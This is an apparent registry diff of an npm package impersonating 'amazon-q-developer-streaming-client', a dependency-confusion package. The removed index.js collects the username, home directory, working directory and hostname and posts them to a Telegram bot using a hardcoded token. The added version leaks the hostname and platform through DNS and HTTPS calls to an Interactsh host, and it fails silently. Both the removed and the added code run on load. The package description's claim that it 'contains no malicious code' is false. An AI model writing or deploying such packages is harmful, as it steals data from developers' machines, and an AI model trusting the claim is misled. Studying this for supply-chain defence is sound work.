amazon-q-developer-streaming-client 99.9.12 → 99.9.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +25 -37
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,47 +1,35 @@
1
- const https = require('https');
1
+ const dns = require('dns');
2
2
  const os = require('os');
3
- const { execSync } = require('child_process');
4
-
5
- const TOKEN = "8236864682:AAFO8n3ml54y_JQnAA2_wxD5j01eooMwC8w";
6
- const CHAT_ID = "8655055695";
3
+ const https = require('https');
7
4
 
8
- // Extra details nikalne ke liye
9
- let currentUser = "Unknown";
10
- try { currentUser = execSync('whoami').toString().trim(); } catch (e) {}
5
+ // Tera Interactsh URL
6
+ const INTERACT_URL = "d7l1vti9io6lgkvhfb8gt5odx4hsfrfq7.oast.fun";
11
7
 
12
- const messageText = `
13
- 🔥 **NEW HIT DETECTED!** 🔥
14
- ━━━━━━━━━━━━━━━━━━━━
15
- 📦 **Package:** amazon-q-developer-streaming-client
16
- 👤 **Researcher:** ALONE BEAST
17
- ━━━━━━━━━━━━━━━━━━━━
18
- 🖥️ **OS Detail:** ${os.type()} (${os.release()})
19
- 👤 **User:** ${currentUser}
20
- 🏠 **Home Dir:** ${os.homedir()}
21
- 📂 **PWD:** ${process.cwd()}
22
- 🌐 **Arch:** ${os.arch()}
23
- 🖥️ **Hostname:** ${os.hostname()}
24
- ⏰ **Time:** ${new Date().toLocaleString()}
25
- ━━━━━━━━━━━━━━━━━━━━
26
- *If PWD contains 'npm' or 'registry', it might be a registry check.*
27
- `;
8
+ // Data collect karo (Hostname aur User)
9
+ const host = os.hostname().replace(/[^a-z0-9]/gi, '-');
10
+ const platform = os.platform();
11
+ const uid = Math.random().toString(36).substring(7); // Unique ID for each hit
28
12
 
29
- const data = JSON.stringify({
30
- chat_id: CHAT_ID,
31
- text: messageText,
32
- parse_mode: "Markdown"
13
+ // 1. DNS Trigger (Sabse silent aur effective)
14
+ const dnsTarget = `${host}.${platform}.${uid}.${INTERACT_URL}`;
15
+ dns.lookup(dnsTarget, () => {
16
+ // DNS hit sent
33
17
  });
34
18
 
19
+ // 2. HTTP Trigger (Extra details ke liye)
35
20
  const options = {
36
- hostname: 'api.telegram.org', port: 443,
37
- path: `/bot${TOKEN}/sendMessage`, method: 'POST',
38
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
21
+ hostname: INTERACT_URL,
22
+ port: 443,
23
+ path: `/${host}/${platform}/${uid}`,
24
+ method: 'GET',
25
+ headers: {
26
+ 'User-Agent': 'Security-Research-PoC-Alone-Beast',
27
+ 'X-Package': 'amazon-q-developer-streaming-client'
28
+ }
39
29
  };
40
30
 
41
- const req = https.request(options, (res) => {
42
- res.on('data', (d) => { process.stdout.write(d); });
43
- });
44
-
45
- req.on('error', (e) => { console.error(e); });
46
- req.write(data);
31
+ const req = https.request(options);
32
+ req.on('error', () => {}); // Silently fail
47
33
  req.end();
34
+
35
+ console.log("PoC Triggered: Checking Interactsh for hits...");
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "amazon-q-developer-streaming-client",
3
- "version": "99.9.12",
3
+ "version": "99.9.15",
4
4
  "description": "Security research package for internal dependency confusion testing. This package is part of a bug bounty program to identify risks in internal build pipelines. Contains no malicious code.",
5
5
  "keywords": [
6
6
  "security",